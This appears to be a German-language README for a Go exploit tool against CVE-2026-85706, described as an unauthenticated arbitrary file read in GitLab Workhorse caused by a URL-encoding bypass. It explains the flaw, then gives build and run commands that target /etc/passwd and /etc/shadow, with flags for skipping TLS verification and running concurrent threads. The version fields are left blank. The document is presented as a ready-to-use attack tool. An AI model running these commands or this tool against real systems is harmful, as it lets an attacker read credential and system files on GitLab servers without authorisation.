
Go-Exploit für CVE-2026-85706, einen unauthentifizierten beliebigen Dateilesezugriff in GitLab CE/EE Workhorse über URL-Encoding-Bypass, mit gleichzeitigen Anfragen und TLS-Skip.
GitLab CE/EE nicht authentifizierte Schwachstelle zum Lesen beliebiger Dateien (CVE-2026-85706).
Betroffene Versionen:
Gepatchte Versionen:
Die Schwachstelle befindet sich in der Workhorse-Komponente von GitLab. Der Workhorse-Regex sieht einen kodierten Pfad, während Puma ihn dekodiert. Rails File.open(file.path) wird vor der Authentifizierung aufgerufen, und die urlencoded-Analyse interpoliert ungültige %-Kodierung in den 400-Body, wodurch Dateiinhalte preisgegeben werden.
# Build the tool
go build -o CVE-2026-85706 CVE-2026-85706.go
# Run the exploit
./CVE-2026-85706 -u https://gitlab.example.com -f /etc/passwd
| Argument | Beschreibung | Standard |
|---|---|---|
-u | Ziel-URL (z. B. https://gitlab.example.com) | - |
-f | Zu lesende Datei (z. B. /etc/passwd) | - |
-k | TLS-Verifizierung überspringen | false |
-t | Anzahl gleichzeitiger Threads | 1 |
-v | Ausführliche Ausgabe | false |
./CVE-2026-85706 -u https://gitlab.example.com -f /etc/shadow -k
Dies versucht, die Datei /etc/shadow von der Ziel-GitLab-Instanz zu lesen, wobei die TLS-Verifizierung übersprungen wird.